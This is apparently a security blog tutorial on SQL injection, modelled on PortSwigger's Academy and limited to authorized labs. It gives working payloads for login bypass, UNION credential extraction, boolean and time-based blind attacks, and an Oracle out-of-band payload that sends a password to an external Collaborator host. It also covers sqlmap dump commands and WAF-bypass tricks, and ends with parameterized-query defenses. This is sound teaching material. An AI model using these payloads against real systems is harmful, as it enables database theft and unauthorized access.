Skip to main content
友田 陽大
実践Webハッキング技法
セキュリティ
ホワイトハッカー
SQLインジェクション
脆弱性診断
Webセキュリティ

A complete conquest of SQL injection attacks [2026]: UNION, blind, time-based, sqlmap, WAF bypass — a version faithful to the official docs

An in-depth look at SQL injection (SQLi) attack techniques, faithful to the PortSwigger Web Security Academy. Retrieving hidden data, subverting authentication logic, lateral movement via UNION, identifying the column count and data types, blind SQLi (boolean conditions, time-based, OAST), hands-on sqlmap, the basics of WAF bypass, and the root-cause defense via parameterized queries — explained with real payloads limited to your own lab.

Published
Reading time
8 min read
Author
友田 陽大
Share

The reason injection keeps occupying the top ranks of the OWASP Top 10:2025 is simple: when it lands, the impact is devastating. SQL injection (SQLi) reaches from theft of the entire database to authentication bypass and, sometimes, server takeover. This article explains those attack techniques faithfully to the PortSwigger Web Security Academy, but at a hands-on granularity.

The absolute premise of this cluster: all payloads below are executed only within a legal lab (localhost-only OWASP Juice Shop / DVWA) or a scope authorized in writing. Sending to an unauthorized target is itself an attack and connects directly to the Unauthorized Access Act, etc. (→ the legal guide). For the map of the entire attack class, see the pillar.


1. The essence of SQLi — data mixing into the query structure

An app becomes vulnerable when it embeds user input into SQL via string concatenation.

# 脆弱な組み立て(概念)
"SELECT * FROM products WHERE category = '" + input + "' AND released = 1"

Here, put ' into input instead of Gifts, and the query syntax breaks.

SELECT * FROM products WHERE category = ''' AND released = 1   -- 構文エラー

This "error or behavior change" is the first step of detection. As PortSwigger shows, try in order ', -- (comment), OR 1=1, time delays, and OAST payloads to probe whether input mixes into the query.


2. Subverting application logic

The most classic and powerful is the login authentication bypass. Suppose the login query is conceptually this.

SELECT * FROM users WHERE username = 'wiener' AND password = 'secret'

Put administrator'-- into username, and everything after is commented out, erasing the password check.

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

You can log in as administrator without knowing the password. This is the textbook case of "subverting the application's logic."


3. UNION-based attack — moving laterally to other tables

When the result is displayed in the response, you can use UNION SELECT to piggyback data from another table. PortSwigger's procedure is mechanical.

3.1 Identify the column count

UNION fails unless the column counts of the preceding and following queries match. First, work out the column count.

-- 方法A: ORDER BY をインクリメント。エラーになる手前が列数
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- ここでエラー → 列数は 2

-- 方法B: NULL を増やしながら UNION SELECT。成功した個数が列数
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--   -- 成功 → 列数は 2

3.2 Find a column that can display a string

To put extracted data on the screen, you need a column that can take a string.

' UNION SELECT 'a',NULL--   -- 'a' が表示されれば1列目は文字列OK
' UNION SELECT NULL,'a'--   -- 2列目で試す

3.3 Enumerate the DB's metadata and extract credentials

Many DBs self-describe their schema via information_schema.

-- テーブル名を列挙
' UNION SELECT table_name, NULL FROM information_schema.tables--
-- 狙ったテーブルの列名を列挙
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
-- 資格情報を抜く(複数列を連結して1列に収める)
' UNION SELECT username || '~' || password, NULL FROM users--

Mind the dialect per DB: string concatenation is || for Oracle/PostgreSQL and CONCAT() for MySQL. Comments are -- (with a trailing space) or # (MySQL). Version retrieval is SELECT @@version (MySQL/MSSQL) / SELECT version() (PostgreSQL) / SELECT banner FROM v$version (Oracle). First confirm the DB type with "examining the database" and everything after becomes much easier.


4. Blind SQLi — extract even when you can't see the result

When the result doesn't appear in the response (but the behavior changes), it's blind SQLi. PortSwigger lists four families.

4.1 Boolean-condition based

Using the fact that the display changes by "whether the condition is true," guess bit by bit.

-- パスワード1文字目が 's' か?を真偽で判定
xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='s'--
-- 「Welcome back」が出れば真、出なければ偽。文字を総当たりして1文字ずつ確定

4.2 Time-based (time-delay)

If even the display doesn't change, use response time as the signal.

-- PostgreSQL: 条件が真なら10秒待つ
'%3BSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
-- MySQL: 条件が真なら SLEEP(10)
' AND IF(1=1, SLEEP(10), 0)--
-- MSSQL: WAITFOR DELAY
'; IF (1=1) WAITFOR DELAY '0:0:10'--

If the response is delayed by 10 seconds, the condition is true. "Slow = 1, fast = 0" to extract information.

4.3 OAST (out-of-band)

Make the DB communicate externally and use that inbound itself as the signal (Burp Collaborator is the staple). Even in an environment where the HTTP response is invisible behind a firewall, DNS/HTTP inbound often gets through, making it powerful.

-- Oracle: 抽出したデータをサブドメインに載せてDNS解決させる(概念)
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE x [<!ENTITY % p SYSTEM "http://'||(SELECT password FROM users WHERE rownum=1)||'.<collaborator-id>.oastify.com/">%p;]>'),'/x') FROM dual--

5. sqlmap — automation (authorized scope only)

Once you understand the manual moves, automate with sqlmap. But the target is only your own assets / authorized scope.

# Burpで保存したリクエストを食わせる(Cookie/認証込みで再現性が高い)
sqlmap -r request.txt --batch \
  --level=2 --risk=2 \           # 試すペイロードの深さ/危険度(上げるほど侵襲的)
  --technique=BEUST \            # B:ブール E:エラー U:UNION S:スタック T:時間
  --dbs                          # まずDB一覧を列挙

# 狙ったテーブルを抜く
sqlmap -r request.txt --batch -D shop -T users --dump

Raising --risk/--level increases detection power but also invasiveness (trying data-modifying payloads, etc.). In an authorized scope close to production, agree on the impact range with the client before raising them. The more automated the tool, the more fatal the correctness of where you point it.


6. The basics of WAF bypass — proof that "it's not a substitute for design"

A WAF (Web Application Firewall) blocks known payloads by pattern, but it can be bypassed with equivalent transformations. This is the flip side of "a WAF is one layer of defense in depth, not a root-cause defense."

-- 代表的な等価変換(教育目的・自分のlab限定)
'/**/UNION/**/SELECT/**/...   -- 空白をコメントに置換
'/*!50000UNION*/ SELECT ...   -- MySQLのバージョン付きコメント
%55NION %53ELECT              -- URLエンコード/大小混在
' UNiOn sElEcT ...            -- 大文字小文字の混在

That's exactly why, rather than relying entirely on a WAF, the main line is to "not let SQLi succeed in the first place" with the parameterized queries below.


7. [Defender side] Root-cause defense — parameterized queries, full stop

Here's the part that maximizes the value of assessment. Now that you understand the attack, how do you crush it by design?

PortSwigger's conclusion is clear: parameterized queries (placeholders). Make input always treated as "data," not "code."

// ❌ 脆弱:文字列連結(入力がクエリ構造に混入する)
const rows = await db.query(
  `SELECT * FROM products WHERE category = '${category}'`
);

// ✅ 安全:プレースホルダ。値は常に「データ」として束縛される
const rows = await db.query(
  "SELECT * FROM products WHERE category = $1",
  [category]
);

However, there are contexts placeholders can't protect. Table names, column names, and the ORDER BY clause are identifiers, not values, so they can't be bound. Protect these with an allowlist.

// ORDER BY の列名はバインドできない → 許可リストで検証(DRYな単一の真実源)
const SORTABLE = { name: "name", price: "price", created: "created_at" } as const;

function sortColumn(input: string): string {
  const col = SORTABLE[input as keyof typeof SORTABLE];
  if (!col) throw new Error("invalid sort column"); // 想定外は即拒否
  return col;
}
  • ORMs/query builders (Prisma, Drizzle, Kysely) parameterize by default, so just avoiding string concatenation in raw SQL prevents most of it. But beware escape hatches like $queryRawUnsafe.
  • Preventive measures specific to Supabase/PostgREST + RPC are detailed in SQLi defense for Supabase × PostgreSQL.
  • Defense in depth: layer a least-privilege DB user (a read-only role for read paths), a WAF, and suppression of error messages.

8. Summary

  • Detection: insert ' and observe errors/behavior changes. In the string, numeric, ORDER BY, and UNION contexts.
  • UNION: identify column count → find a string column → enumerate information_schema → extract credentials.
  • Blind: bit by bit via boolean conditions, time-based (SLEEP/pg_sleep), and OAST.
  • sqlmap: automation is powerful. But the target is only your own assets / authorized scope.
  • Root-cause defense: parameterized queries, full stop. Identifiers via allowlist. A WAF is one layer, not a substitute for design.

Next, head to the complete conquest of XSS attacks, the king of client-side. Understanding the injection class directly raises the resolution of defensive design.


References (official primary sources)

友田

友田 陽大

Developer of a METI Minister's Award–winning product. With TypeScript + Python + AWS, I deliver SaaS, industry DX, and production-grade generative AI (RAG) end to end — from requirements to infrastructure and operations — single-handedly.

What if this attack were reproduced on your app?

Web-app vulnerability assessment & penetration testing

I actually reproduce and assess the SQLi, XSS, SSRF, JWT, auth, and SSTI attacks covered here on your app, and take it through from design to fix. Only those who know the attacker's moves can preempt where it breaks at the design stage. You're welcome to visualize the current state with the free OSS first.

Available for both project-based (contract) and advisory engagements. Start with a free 30-minute consult.

Also worth reading